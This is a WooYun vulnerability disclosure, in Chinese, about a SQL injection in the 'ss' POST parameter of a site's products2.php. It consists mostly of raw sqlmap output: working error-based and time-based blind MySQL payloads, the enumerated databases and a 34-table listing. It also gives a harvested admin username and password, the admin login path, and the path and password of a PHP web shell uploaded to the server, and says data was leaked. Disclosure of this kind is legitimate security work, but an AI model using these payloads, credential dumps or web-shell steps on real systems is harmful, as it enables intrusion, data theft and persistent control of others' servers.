WooYun.org

sql注入url：http://**.**.**.**:80/products2.php (POST)
x=0&y=0&ss='*
注入参数ss
sqlmap identified the following injection points with a total of 1523 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: x=0&y=0&ss=' AND (SELECT 1416 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(1416=1416,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- UWqp
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: x=0&y=0&ss=' AND (SELECT * FROM (SELECT(SLEEP(5)))gZvB)-- ifZy
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
available databases [4]:
[*] information_schema
[*] mysql
[*] myweb
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: x=0&y=0&ss=' AND (SELECT 1416 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(1416=1416,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- UWqp
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: x=0&y=0&ss=' AND (SELECT * FROM (SELECT(SLEEP(5)))gZvB)-- ifZy
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
Database: myweb
[34 tables]
+-------------------+
| admin |
| client |
| client_admin |
| xwm_announce |
| xwm_commentpro |
| xwm_comments |
| xwm_download |
| xwm_download_cate |
| xwm_file |
| xwm_guestbook |
| xwm_honer |
| xwm_honer_cate |
| xwm_info |
| xwm_info_cate |
| xwm_job |
| xwm_job_cate |
| xwm_keywords |
| xwm_link |
| xwm_managelog |
| xwm_member |
| xwm_membergroup |
| xwm_nwlink |
| xwm_nwlink_cate |
| xwm_offer |
| xwm_product |
| xwm_product_cate |
| xwm_sales |
| xwm_sales_cate |
| xwm_static |
| xwm_static_cate |
| xwm_stats |
| xwm_sub |
| xwm_sub1 |
| xwm_sub2 |
+-------------------+
知道管理员用户名：wzguquan密码：admin
登陆地址：**.**.**.**/admin

shell地址：http://**.**.**.**/uploaded_files/1449628572.php;php密码：abc
泄露大量数据和项目信息

由于涉及到股权交易信息，并未深入对服务器进行lcx转发，提权等。可自查。